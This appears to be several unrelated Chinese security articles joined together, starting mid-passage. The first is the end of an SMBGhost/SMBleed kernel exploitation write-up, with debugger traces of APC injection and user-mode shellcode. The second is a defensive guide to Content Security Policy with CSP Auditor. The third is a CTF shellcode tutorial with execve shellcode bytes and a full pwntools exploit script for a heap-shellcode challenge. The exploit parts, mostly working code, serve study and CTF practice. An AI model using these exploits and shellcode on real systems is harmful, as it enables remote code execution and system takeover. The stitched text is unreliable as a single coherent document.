+0x052 Inserted : 0 ''
kd> u 0xfffff780`00000a62 //KernelRoutine
fffff780`00000a62 55 push rbp
fffff780`00000a63 53 push rbx
fffff780`00000a64 57 push rdi
fffff780`00000a65 56 push rsi
fffff780`00000a66 4157 push r15
fffff780`00000a68 498b28 mov rbp,qword ptr [r8]
fffff780`00000a6b 4c8b7d08 mov r15,qword ptr [rbp+8]
fffff780`00000a6f 52 push rdx
* nt!KeInsertQueueApc然后通过nt!KeInsertQueueApc函数将初始化后的APC对象存放到目标线程的APC队列中。
; BOOLEAN KeInsertQueueApc(PKAPC, SystemArgument1, SystemArgument2, 0);
; SystemArgument1 is second argument in usermode code (rdx)
; SystemArgument2 is third argument in usermode code (r8)
lea rcx, [rbp+DATA_KAPC_OFFSET]
;xor edx, edx ; no need to set it here
;xor r8, r8 ; no need to set it here
xor r9, r9
mov edi, KEINSERTQUEUEAPC_HASH
call win_api_direct
kd> dt _kapc fffff78000000e30
nt!_KAPC
+0x000 Type : 0x12 ''
+0x001 SpareByte0 : 0 ''
+0x002 Size : 0x58 'X'
+0x003 SpareByte1 : 0 ''
+0x004 SpareLong0 : 0
+0x008 Thread : 0xffffca8d`178e9080 _KTHREAD
+0x010 ApcListEntry : _LIST_ENTRY [ 0xffffca8d`178e9128 - 0xffffca8d`178e9128 ]
+0x020 KernelRoutine : 0xfffff780`00000a62 void +fffff78000000a62
+0x028 RundownRoutine : (null)
+0x030 NormalRoutine : 0xfffff780`00000e00 void +fffff78000000e00
+0x020 Reserved : [3] 0xfffff780`00000a62 Void
+0x038 NormalContext : 0xfffff780`00000e00 Void
+0x040 SystemArgument1 : 0x0000087f`fffff200 Void
+0x048 SystemArgument2 : (null)
+0x050 ApcStateIndex : 0 ''
+0x051 ApcMode : 1 ''
+0x052 Inserted : 0x1 ''
然后判断KAPC.ApcListEntry中UserApcPending比特位是否被设置，如果成功，就等待目标线程获得权限，执行APC例程，执行KernelApcRoutine函数。
mov rax, [rbp+DATA_KAPC_OFFSET+0x10] ; get KAPC.ApcListEntry
; EPROCESS pointer 8 bytes
; InProgressFlags 1 byte
; KernelApcPending 1 byte
; * Since Win10 R5:
; Bit 0: SpecialUserApcPending
; Bit 1: UserApcPending
; if success, UserApcPending MUST be 1
test byte [rax+0x1a], 2
jnz _insert_queue_apc_done
kd> p
fffff780`000009e7 f6401a02 test byte ptr [rax+1Ah],2
kd> dt _kapc fffff78000000e30
nt!_KAPC
+0x000 Type : 0x12 ''
+0x001 SpareByte0 : 0 ''
+0x002 Size : 0x58 'X'
+0x003 SpareByte1 : 0 ''
+0x004 SpareLong0 : 0
+0x008 Thread : 0xffffca8d`178e9080 _KTHREAD
+0x010 ApcListEntry : _LIST_ENTRY [ 0xffffca8d`178e9128 - 0xffffca8d`178e9128 ]
kd> dx -id 0,0,ffffca8d10ea3340 -r1 (*((ntkrnlmp!_LIST_ENTRY *)0xfffff78000000e40))
(*((ntkrnlmp!_LIST_ENTRY *)0xfffff78000000e40)) [Type: _LIST_ENTRY]
[+0x000] Flink : 0xffffca8d178e9128 [Type: _LIST_ENTRY *]
[+0x008] Blink : 0xffffca8d178e9128 [Type: _LIST_ENTRY *]
kd> db rax l1a+1
ffffca8d`178e9128 40 0e 00 00 80 f7 ff ff-40 0e 00 00 80 f7 ff ff @.......@.......
ffffca8d`178e9138 40 e2 cb 18 8d ca ff ff-00 00 02 @..........
### KernelApcRoutine函数
在这个函数里先将IRQL设置为PASSIVE_LEVEL（通过在KernelApcRoutine中将cr8置0），以便调用ZwAllocateVirtualMemory函数。
* 申请空间并复制用户态Shellcode
调用ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000, 0x1000,
0x40)分配内存，然后将用户态Shellcode复制过去。如下所示，分配到的地址为bc0000。
kd> dd rdx l1
fffffe80`766458d0 00000000
kd> dd fffffe80`766458d0 l1 //baseAddr
fffffe80`766458d0 00bc0000
kd> u rip //将用户模式代码复制到bc0000处：
fffff780`00000aa5 488b3e mov rdi,qword ptr [rsi]
fffff780`00000aa8 488d354d000000 lea rsi,[fffff780`00000afc]
fffff780`00000aaf b980030000 mov ecx,380h
fffff780`00000ab4 f3a4 rep movs byte ptr [rdi],byte ptr [rsi]
kd> u bc0000
00000000`00bc0000 4892 xchg rax,rdx
00000000`00bc0002 31c9 xor ecx,ecx
00000000`00bc0004 51 push rcx
00000000`00bc0005 51 push rcx
00000000`00bc0006 4989c9 mov r9,rcx
00000000`00bc0009 4c8d050d000000 lea r8,[00000000`00bc001d]
00000000`00bc0010 89ca mov edx,ecx
00000000`00bc0012 4883ec20 sub rsp,20h
* 查找kernel32模块
思路是通过遍历之前找到的”spoolsv.exe”的PEB结构中的Ldr->InMemoryOrderModuleList->Flink，找到kernel32模块（unicode字符串特征比对）。
PEB偏移0x18为_PEB_LDR_DATA结构的Ldr
，其偏移0x20处为一个_LIST_ENTRY结构的InMemoryOrderModuleList，_LIST_ENTRY结构中包含flink和blink指针，通过遍历flink指针可以查询不同模块的LDR_DATA_TABLE_ENTRY结构。
1: kd> dt _peb @rax
nt!_PEB
+0x000 InheritedAddressSpace : 0 ''
+0x001 ReadImageFileExecOptions : 0 ''
+0x002 BeingDebugged : 0 ''
+0x003 BitField : 0x4 ''
+0x003 ImageUsesLargePages : 0y0
+0x003 IsProtectedProcess : 0y0
+0x003 IsImageDynamicallyRelocated : 0y1
+0x003 SkipPatchingUser32Forwarders : 0y0
+0x003 IsPackagedProcess : 0y0
+0x003 IsAppContainer : 0y0
+0x003 IsProtectedProcessLight : 0y0
+0x003 IsLongPathAwareProcess : 0y0
+0x004 Padding0 : [4] ""
+0x008 Mutant : 0xffffffff`ffffffff Void
+0x010 ImageBaseAddress : 0x00007ff7`94970000 Void
+0x018 Ldr : 0x00007fff`ea7a53c0 _PEB_LDR_DATA
+0x020 ProcessParameters : 0x00000000`012c1bc0 _RTL_USER_PROCESS_PARAMETERS
+0x028 SubSystemData : (null)
+0x030 ProcessHeap : 0x00000000`012c0000 Void
......
1: kd> dx -id 0,0,ffff818c698db380 -r1 ((ntkrnlmp!_PEB_LDR_DATA *)0x7fffea7a53c0)
((ntkrnlmp!_PEB_LDR_DATA *)0x7fffea7a53c0) : 0x7fffea7a53c0 [Type: _PEB_LDR_DATA *]
[+0x000] Length : 0x58 [Type: unsigned long]
[+0x004] Initialized : 0x1 [Type: unsigned char]
[+0x008] SsHandle : 0x0 [Type: void *]
[+0x010] InLoadOrderModuleList [Type: _LIST_ENTRY]
[+0x020] InMemoryOrderModuleList [Type: _LIST_ENTRY]
[+0x030] InInitializationOrderModuleList [Type: _LIST_ENTRY]
[+0x040] EntryInProgress : 0x0 [Type: void *]
[+0x048] ShutdownInProgress : 0x0 [Type: unsigned char]
[+0x050] ShutdownThreadId : 0x0 [Type: void *]
1: kd> dx -id 0,0,ffff818c698db380 -r1 (*((ntkrnlmp!_LIST_ENTRY *)0x7fffea7a53e0))
(*((ntkrnlmp!_LIST_ENTRY *)0x7fffea7a53e0)) [Type: _LIST_ENTRY]
[+0x000] Flink : 0x12c2580 [Type: _LIST_ENTRY *]
[+0x008] Blink : 0x1363920 [Type: _LIST_ENTRY *]
LDR_DATA_TABLE_ENTRY结构偏移0x30处为模块基址，偏移0x58处为BaseDllName，其起始处为模块名的unicode长度（两个字节），偏移0x8处为该模块的unicode字符串。通过长度和字符串这两个特征可以定位kernel32模块，并通过DllBase字段获取基址。在实际操作中需要计算这些地址相对于InMemoryOrderLinks的偏移。
1: kd> dt _LDR_DATA_TABLE_ENTRY 0x12c2b00
nt!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x00000000`012c30f0 - 0x00000000`012c23e0 ]
+0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0x00000000`012c3100 - 0x00000000`012c23f0 ]
+0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x00000000`012c45b0 - 0x00000000`012c3110 ]
+0x030 DllBase : 0x00007fff`e8ab0000 Void
+0x038 EntryPoint : 0x00007fff`e8ac7c70 Void
+0x040 SizeOfImage : 0xb2000
+0x048 FullDllName : _UNICODE_STRING "C:\Windows\System32\KERNEL32.DLL"
+0x058 BaseDllName : _UNICODE_STRING "KERNEL32.DLL"
1: kd> dx -id 0,0,ffff818c698db380 -r1 -nv (*((ntkrnlmp!_UNICODE_STRING *)0x12c2b58))
(*((ntkrnlmp!_UNICODE_STRING *)0x12c2b58)) : "KERNEL32.DLL" [Type: _UNICODE_STRING]
[+0x000] Length : 0x18 [Type: unsigned short]
[+0x002] MaximumLength : 0x1a [Type: unsigned short]
[+0x008] Buffer : 0x12c2cb8 : "KERNEL32.DLL" [Type: wchar_t *]
然后在kernel32模块的导出表中寻找CreateThread函数，然后将其保存至KernelApcRoutine函数的参数SystemArgument1中，传送给userland_start_thread。
; save CreateThread address to SystemArgument1
mov [rbx], rax
kd> dq rbx l1
fffffe80`766458e0 00000000`00001000
kd> p
fffff780`00000aea 31c9 xor ecx,ecx
kd> dq fffffe80`766458e0 l1
fffffe80`766458e0 00007ffa`d229a810
kd> u 7ffa`d229a810
KERNEL32!CreateThreadStub:
00007ffa`d229a810 4c8bdc mov r11,rsp
00007ffa`d229a813 4883ec48 sub rsp,48h
00007ffa`d229a817 448b542470 mov r10d,dword ptr [rsp+70h]
00007ffa`d229a81c 488b442478 mov rax,qword ptr [rsp+78h]
00007ffa`d229a821 4181e204000100 and r10d,10004h
00007ffa`d229a828 498943f0 mov qword ptr [r11-10h],rax
00007ffa`d229a82c 498363e800 and qword ptr [r11-18h],0
00007ffa`d229a831 458953e0 mov dword ptr [r11-20h],r10d
然后将QUEUEING_KAPC置0，将IRQL 恢复至APC_LEVEL。
_kernel_kapc_routine_exit:
xor ecx, ecx
; clear queueing kapc flag, allow other hijacked system call to run shellcode
mov byte [rbp+DATA_QUEUEING_KAPC_OFFSET], cl
; restore IRQL to APC_LEVEL
mov cl, 1
mov cr8, rcx
### 用户态Shellcode
最终成功运行到用户模式Shellcode，用户模式代码包含userland_start_thread和功能Shellcode（userland_payload），在userland_start_thread中通过调用CreateThread函数去执行功能Shellcode。userland_payload这里不再介绍。
userland_start_thread:
; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL)
xchg rdx, rax ; rdx is CreateThread address passed from kernel
xor ecx, ecx ; lpThreadAttributes = NULL
push rcx ; lpThreadId = NULL
push rcx ; dwCreationFlags = 0
mov r9, rcx ; lpParameter = NULL
lea r8, [rel userland_payload] ; lpStartAddr
mov edx, ecx ; dwStackSize = 0
sub rsp, 0x20
call rax
add rsp, 0x30
ret
userland_payload:
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52......"
kd> u r8
00000000`00bc001d fc cld
00000000`00bc001e 4883e4f0 and rsp,0FFFFFFFFFFFFFFF0h
00000000`00bc0022 e8c0000000 call 00000000`00bc00e7
00000000`00bc0027 4151 push r9
00000000`00bc0029 4150 push r8
00000000`00bc002b 52 push rdx
00000000`00bc002c 51 push rcx
00000000`00bc002d 56 push rsi
### **总结~**
本文对公开的关于 SMBGhost 和 SMBleed 漏洞的几种利用思路进行跟进，逆向了一些关键结构和算法特性，最终在实验环境下拿到了System
Shell。非常感谢 blackwhite 和 zcgonvh
两位师傅，在此期间给予的指导和帮助，希望有天能像他们一样优秀。最后放上两种利用思路的复现结果：
## 参考文献
* <https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796>
* <https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1206>
* <https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html>
* <https://blog.zecops.com/vulnerabilities/smbleedingghost-writeup-chaining-smbleed-cve-2020-1206-with-smbghost/>
* <https://blog.zecops.com/vulnerabilities/smbleedingghost-writeup-part-ii-unauthenticated-memory-read-preparing-the-ground-for-an-rce/>
* <https://blog.zecops.com/vulnerabilities/smbleedingghost-writeup-part-iii-from-remote-read-smbleed-to-rce/>
* <https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e7046961-3318-4350-be2a-a8d69bb59ce8>
* <https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/f1d9b40d-e335-45fc-9d0b-199a31ede4c3>
* <https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update.pdf>
* <https://mp.weixin.qq.com/s/rKJdP_mZkaipQ9m0Qn9_2Q>
* <https://mp.weixin.qq.com/s/71c6prw14AWYYJXf4-QXMA>
* <https://mp.weixin.qq.com/s/hUi0z37dbF9o06kKf8gQyw> | 社区文章 |
# 【技术分享】如何使用CSP Auditor配置高效的内容安全策略
|
##### 译文声明
本文是翻译文章，文章来源：gosecure.net
原文地址：<http://gosecure.net/2017/07/20/building-a-content-security-policy-configuration-with-csp-auditor/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：180RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**写在前面的话**
在浏览器与跨站脚本漏洞（XSS）的抗争过程中，内容安全策略（即Content Security
Policy，简称CSP）的出现绝对是具有里程碑式意义的。由于内容安全策略的存在，我们能依靠的不仅仅只是浏览器的反XSS过滤器了，我们现在将有可能通过浏览器来对类似JavaScript这样的外部资源进行额外的限制（可以通过CSP
HTTP头来强制实现）。但是在CSP配置自动生成机制嵌入到Web框架之前，这种技术还很难成为一种实践标准。就目前的情况来看，绝大多数情况下仍然需要开发人员手动配置Web应用程序的内容安全策略。
**在这篇文章中，我们将跟大家讨论关于如何将内容安全策略整合到现有网站中的一些基本策略。除此之外，我们还会介绍CSP
Auditor的最新功能以及相关的理论知识。** 如果你对内容安全策略或者CSP Auditor不够了解的话，我建议大家先阅读我们之前所发表的这篇
**【**[ **文章**](http://gosecure.net/2016/06/28/auditing-csp-headers-with-burp-and-zap/) **】** 。
**CSP Auditor**
该插件提供了以下几种功能：
1.在Response标签下提供了可视化的CSP Header；
2.采用了被动扫描规则来检测存在安全漏洞的CSP配置；
3.基于Burp crawler或手动浏览实现了一个CSP配置生成器；
注：该项目以ZAP和Burp插件的形式进行封装。
**工具下载**
最新版本：2017年8月3日更新
Burp插件： **【**[ **点我下载**](https://github.com/GoSecure/csp-auditor/blob/master/downloads/csp-auditor-burp-1.jar?raw=true) **】**
ZAP插件： **【**[ **点我下载**](https://github.com/GoSecure/csp-auditor/blob/master/downloads/cspauditor-alpha-1.zap?raw=true) **】**
CSP Auditor： **【**[ **GitHub项目主页**](https://github.com/GoSecure/csp-auditor)
**】**
你可以使用以下命令构建CSP Auditor插件：
./gradlew build
如果你已经安装了Gradle，那你可以选择使用下列命令:
gradle build
**如何配置出高效的内容安全策略**
如果你想配置出有效的内容安全策略，你可以先考虑以下三种最基本的因素：
1.针对外部资源采用白名单机制，这里的外部资源可以是CSS样式、图片或JavaScript代码；
2.识别内联脚本标签；
3.替换内联脚本事件；
针对外部资源采用白名单机制
这一步可以算是实现起来最简单的一步了，这一步需要对Web应用程序所使用的JavaScript、图片以及CSS样式表进行分析和识别。只有托管在外部域名的文件以及资源才需要被添加到内容安全策略的配置之中。
<script src="//cdn.myprovider.com"></script>
<img src="https://staticimages.com/img/870234324.png">
<link rel="stylesheet" type="text/css" href="https://cdn.company.com/mystyle.css">
上面给出的这些资源将会被转译成下面这种CSP HTTP头，内容如下所示：
default self; script-src cdn.myprovider.com; image-src https://staticimages.com; style-src https://cdn.company.com;
在CSP Auditor中，我们可以通过两种方法来列出所有的外部资源。在"External
Resources"（外部资源）标签下，我们可以看到所有已选择域名所加载的全部资源。外部资源视图如下：
在"Configuration"（配置）标签下，你可以对所有托管了外部资源的域名进行配置，并设置一份CSP配置草案。注:列表内容会根据目标网站的分析结果进行自动填充。配置视图如下：
为了让内容安全策略尽可能地覆盖你网站所加载的全部资源，你需要使用网络爬虫（例如Burp
crawler）或其他手动的爬取方法来尽可能多地爬取你的网站页面。一般来说，开发人员通常都会在Web应用程序的主页（Home
page）中导入绝大多数的资源，即便是这个页面不需要使用的资源也有可能会加载进去，因为这样做可以尽早地对资源进行缓存，而且还可以简化之后的页面开发。这样一来，我们大多数情况下只用访问几个页面就能收集到网站加载的绝大多数资源了。
**识别内联脚本标签**
刚才介绍的第一步操作应该还是比较容易完成的。但是相对来说，控制内联脚本还是比较困难的。在我们的分析场景中，需要对HTML页面做以下修改：
<script>function example() {..}</script>
正如上面这段代码所示，内容安全策略的默认模式下是不允许内联脚本的，而这样做的目的是为了防止攻击者通过XSS攻击向量在Web应用程序中嵌入恶意脚本代码。目前主要有两种方式来防止内联脚本，第一种方法是将脚本代码移动到一个单独的JavaScript文件中，而不是像之前一样直接把脚本代码嵌入在HTML页面之中。
<script src="/new-script.js"></script>
另一种方法是在脚本块中添加一个随机数（nonce）。这种方法需要生成一个随机令牌并存放在header中，然后在每一个脚本块中添加一个nonce属性并填充随机数值。
Content-Security-Policy: script-src 'self' 'nonce-9135759873587943987538793';
[…]
<script nonce="9135759873587943987538793">function example() {..}</script>
除了上述这些内联脚本之外，还有一个我们目前还没介绍的变种版本的内联脚本：DOM on-events
handlers（一种HTML属性）。跟内联脚本标签一样，我们需要找出每一个相关属性并完成修改替换。下面给出的是一个简单示例：
原始的HTML：
<input type="button" id="btn_example" onclick="alert('code triggered');" value="Click Me!">
修改后的HTML：
<script src="/site-event-bundle.js"></script>
<input id="btn_example" type="button" value="Click Me!" />
JavaScript (/site-event-bundle.js)
document.getElementById('btn_example').onclick = function() {alert('code triggered')};
**替换内联脚本事件**
由于内联脚本在Web应用程序中几乎是随处可见的，因此这些内联脚本的数量对我们来说会是一个很大的麻烦。为了确认我们需要修改的内联脚本数量，我们可以在"Inline
Scripts"视图中查看到工具对Web流量的分析结果。下面给出的是内联脚本视图:
**总结**
在这篇文章中，我们给大家介绍了三种部署内容安全策略的方案。但不幸的是，针对传统网站目前还没有一种通用的缓解方案。因此，我们希望CSP
Auditor插件的这些新功能可以帮助广大开发人员更好地将新型的安全Header整合到自己的Web应用程序中以提升安全性。
如果目标网站中不存在跨站脚本漏洞，或者说其中的跨站脚本漏洞不足以影响网站安全性的话，添加额外的CSP
Header可能并不会产生非常好的效果。你可以通过查看"External Resources"以及"Inline
Scripts"视图下的内容来评估部署内容安全策略的工作量。
最后来一波预告：我们目前仍然在优化CSP Auditor，希望对该项目感兴趣的用户可以帮助我们一起提升CSP
Auditor。最终的解决方案将适用于所有的WordPress站点。
**参考资料**
1.CSP配置命令表：<https://content-security-policy.com/>
2.内联脚本缓解样例：[http://www.cspplayground.com/compliant_examples](http://www.cspplayground.com/compliant_examples)
3.使用Burp和ZAP审计CSP Header：[https://gosecure.net/2016/06/28/auditing-csp-headers-with-burp-and-zap/](https://gosecure.net/2016/06/28/auditing-csp-headers-with-burp-and-zap/)
4.CSP Auditor项目地址：<https://github.com/GoSecure/csp-auditor> | 社区文章 |
# shellcode编写过程总结
序言: 平时做题也遇到过一些编写shellcode的题目了，最近抽空总结下类型，以及编写过程
## 利用工具生成或直接查找
[我收集了一些工具生成纯字母数字shellcode的](https://github.com/users/NoOne-hub/projects/1)
比如 pwntools的 shellcraft模块
或者到[exploit-db](https://www.exploit-db.com/shellcodes)直接查找
这种题好做，利用工具生成，比如pwnable.tw 的 orw，这题就是可以直接利用工具生成的
shellcode = shellcraft.open('/home/orw/flag')
shellcode += shellcraft.read('eax','esp', 0x30)
shellcode += shellcraft.write(1, 'esp', 0x30)
三句代码搞定，这种是限制了只能用open,read,write的
还可以手写汇编,对于unctf的orwpwn可以手写汇编，不过没必要啊，复制黏贴也是可以的
shellcode = asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')
在比如说那种直接输入shellcode执行的，攻防世界新手区有道题目string,就是直接输入shellcode拿shell的，这种可以用shellcraft.sh()或者exploit-db查找
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
随便拿个shellcode举例吧
### 练习题
1. 攻防世界pwn新手区的string
2. 中科大比赛的shellhacker(3个类型)都是可以用工具生成解决的
3. pwnable.tw的orw
4. unctf的orwpwn
这些都还可以找得到题目来的，可以自行查找，我当时是手写了汇编练习，实际工具一把梭也是可以的
## 手写shellcode
这种题目我认为难度就比较大了，汇编基础不扎实的确实难，对我来说也是一样的,不过还是要总结下编写过程，这样以后遇到才不会慌
就从最简单的shellcode编写开始吧，难度层级如下，一层一层更难
1. 攻防世界的note_service2
2. pwnable.tw 的death_note
3. pwnable.tw 的alive_note
### note_service2
这道题又让我学了不少东西
复习了下jmp的跳转，以及机器码
0xE8 CALL 后面的四个字节是地址
0xE9 JMP 后面的四个字节是偏移
0xEB JMP 后面的二个字节是偏移
0xFF15 CALL 后面的四个字节是存放地址的地址
0xFF25 JMP 后面的四个字节是存放地址的地址
0x68 PUSH 后面的四个字节入栈
0x6A PUSH 后面的一个字节入栈
#### 漏洞
发觉有个double free，然后8个字节不知道怎么利用，然后卡死了
看了wp后，原来这道又是出自pwnable.tw的，经过他人修改，然后出题了，考点是shellcode链的构造，也就是手写汇编能力
#### 漏洞利用
这里查看保护发觉nx保护没开，所以想着如何写shellcode，8个字节，我也没想出怎么写shellcode，大佬们强啊，shellcode链，利用近转移，一步步跳过去，组合起来就是大shellcode了，这跟ROP类似啊，我怎么就想不到呢，在此还是先佩服下师傅们
##### 细节点
调试部分我用edb测试了下，edb打开随便一个程序，测了下E916，发觉他会自动改成5个字节
其余指令可以用pwntools测试，asm('xor rsi,rsi',arch='amd64')
free_got - heap地址，这个相对偏移是确定的，所以可以用index这样寻址
至于为什么是E916,这个可以计算下，
短转移:
假设目前指令为:
0x1000 E9 16 00 00 00
0x1005 90
0x1006 90
.
.
.
0x101b 90
1000+16+5=101b
至于为什么这么计算，通俗点讲就是执行完这条指令才会跳转，所以执行完这条指令地址本应该为1005，所以为什么要+5，然后jmp的话，他要跳到相对于这里16处，所以就是0x101b处了
细想一下，delete(0)为什么可以执行system函数呢，因为free(0)的话，首先将参数传进去，也就是第一个堆块地址，就是存/bin/sh处，放到rdi里，后面开始执行shellcode链
##### 编写shellcode链过程
0x00 0 0x21
0x10 0 0
0x20 0 0x21
0x30 0 0
0x40 0 0x21
0x50 0 0
0x60 0 0x21
0x70 0 0
1. 建立起堆块的结构链条，如上
2. 建立起sys_execve需要的寄存器rdi,rsi,rdx,rax
3. rdi为/bin/sh，rsi=0，rdx=0,rax=0x3b
4. xor rsi,rsi 对应字节码 0xf63148，三个字节,先将这个放进去，然后要跳转到0x30处，所以现在编写jmp语句 e9 大小，具体多少，0x30-0x10-3-5=0x18,所以是e918
0x00 0 0x21
0x10 00000018e94831f6 0
0x20 0 0x21
0x30 0 0
0x40 0 0x21
0x50 0 0
0x60 0 0x21
0x70 0 0
1. xor rdx,rdx 对应字节码0xd23148，三个字节，接着跳 ，一样的 e918
0x00 0 0x21
0x10 00000018e94831f6 0
0x20 0 0x21
0x30 00000018e94831d2 0
0x40 0 0x21
0x50 0 0
0x60 0 0x21
0x70 0 0
1. rax=0x3b, push 0x3b,pop rax,为0x3b6a58 三个字节，还是一样的
0x00 0 0x21
0x10 00000018e94831f6 0
0x20 0 0x21
0x30 00000018e94831d2 0
0x40 0 0x21
0x50 00000018e9586a3b 0
0x60 0 0x21
0x70 0 0
1. 最后syscall 0x050f
0x00 0 0x21
0x10 00000018e94831f6 0
0x20 0 0x21
0x30 00000018e94831d2 0
0x40 0 0x21
0x50 00000018e9586a3b 0
0x60 0f05 0x21
0x70 0 0
1. 测试了下，不成功，因为content不为8不会退出，那就加3个nop吧凑个整数，这样少跳3个nop就行，所以最后变成
0x00 0 0x21
0x10 16e99090904831f6 0
0x20 0 0x21
0x30 16e99090904831d2 0
0x40 0 0x21
0x50 16e9909090586a3b 0
0x60 9090909090900f50 0x21
0x70 0 0
emm，测试不成功，原因是，最多接受7个...题目里限制了，所以改成2个nop
0x00 0 0x21
0x10 0016e990904831f6 0
0x20 0 0x21
0x30 0016e990904831d2 0
0x40 0 0x21
0x50 0016e99090586a3b 0
0x60 0090909090900f50 0x21
0x70 0 0
#### exp
#!/usr/bin/env python2
# -*- coding: utf-8 -*- from pwn import *
local = 1
host = '111.198.29.45'
port = 49964
context.log_level = 'debug'
exe = '/tmp/tmp.sGaluM2IXs/note'
# Load it if has exe
try:
context.binary = exe
elf = ELF(exe)
except Exception as e:
print("Elf can't be load")
# load libc
libc = elf.libc if context.binary else ELF("./libc.so.6")
if local:
io = process(exe)
else:
io = remote(host,port, timeout=10)
#don't forget to change it
s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline()
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
ga = lambda job="" : gdb.attach(io, job) if local else 0
ia = lambda : io.interactive()
# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
ga('b *{}'.format(hex(text_base+addr)))
else:
ga("b *{}".format(hex(addr)))
# get_one_gadget
def get_one_gadget(filename):
return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' '))
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX disabled
# PIE: PIE enabled
# RWX: Has RWX segments
def c(idx):
sla(">> ", idx)
def new(idx, content):
c(1)
sla(":", idx)
sla(":", 8)
sa(":", content)
def delete(idx):
c(4)
sla(":", idx)
def exp(host, rce=False):
if rce:
one_gadget = get_one_gadget(libc.path)
#start here
new(0, '/bin/sh')
new((elf.got['free']-0x2020A0)/8, asm('xor rsi,rsi')+ '\x90\x90\xe9\x16')
new(1, asm('push 0x3b\n pop rax') + '\x90\x90\xe9\x16')
new(2, asm('xor rdx, rdx') + '\x90\x90\xe9\x16')
new(3, asm('syscall') + '\x90'*5)
ga()
delete(0)
ia()
if __name__ == '__main__':
exp(host,)
### death_note
我是先做完alive_note再来做这道，看了下，难度比alive_note确实简单了一些，那题手写shellcode跳转链条，真的麻烦，这题直接0x50字节的shellcode执行就行，还是改got表,然后手写汇编就ok了
数字字母汇编代码，大佬总结的
1.数据传送:
push/pop eax…
pusha/popa
2.算术运算:
inc/dec eax…
sub al, 立即数
sub byte ptr [eax… + 立即数], al dl…
sub byte ptr [eax… + 立即数], ah dh…
sub dword ptr [eax… + 立即数], esi edi
sub word ptr [eax… + 立即数], si di
sub al dl…, byte ptr [eax… + 立即数]
sub ah dh…, byte ptr [eax… + 立即数]
sub esi edi, dword ptr [eax… + 立即数]
sub si di, word ptr [eax… + 立即数]
3.逻辑运算:
and al, 立即数
and dword ptr [eax… + 立即数], esi edi
and word ptr [eax… + 立即数], si di
and ah dh…, byte ptr [ecx edx… + 立即数]
and esi edi, dword ptr [eax… + 立即数]
and si di, word ptr [eax… + 立即数]
xor al, 立即数
xor byte ptr [eax… + 立即数], al dl…
xor byte ptr [eax… + 立即数], ah dh…
xor dword ptr [eax… + 立即数], esi edi
xor word ptr [eax… + 立即数], si di
xor al dl…, byte ptr [eax… + 立即数]
xor ah dh…, byte ptr [eax… + 立即数]
xor esi edi, dword ptr [eax… + 立即数]
xor si di, word ptr [eax… + 立即数]
4.比较指令:
cmp al, 立即数
cmp byte ptr [eax… + 立即数], al dl…
cmp byte ptr [eax… + 立即数], ah dh…
cmp dword ptr [eax… + 立即数], esi edi
cmp word ptr [eax… + 立即数], si di
cmp al dl…, byte ptr [eax… + 立即数]
cmp ah dh…, byte ptr [eax… + 立即数]
cmp esi edi, dword ptr [eax… + 立即数]
cmp si di, word ptr [eax… + 立即数]
5.转移指令:
push 56h
pop eax
cmp al, 43h
jnz lable
<=> jmp lable
6.交换al, ah
push eax
xor ah, byte ptr [esp] // ah ^= al
xor byte ptr [esp], ah // al ^= ah
xor ah, byte ptr [esp] // ah ^= al
pop eax
7.清零:
push 44h
pop eax
sub al, 44h ; eax = 0
push esi
push esp
pop eax
xor [eax], esi ; esi = 0
#### 构造shellcode思路
首先得明白我们应该要什么样的结果
eax=0xb
ecx=0
ebx= /bin/sh地址
edx = 0
然后开始构造
1. 先用shellcraft.sh()生成shellcode，发觉还是有可取之处，我们将push /bin/sh部分取出来就好了
>>> asm(shellcraft.sh())
'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
然后修改代码，mov ebx,esp改成push esp, pop ebx
push 0x68 #push /bin/sh
push 0x732f2f2f
push 0x6e69622f
push esp
pop ebx
1. 我free的时候会传进来heap地址，所以我们初始地址存在了eax里，记得保存，还有传进来同时ecx=0xa,edx=0,这些都是可以利用的，构造eax=0xb
push ecx
pop eax
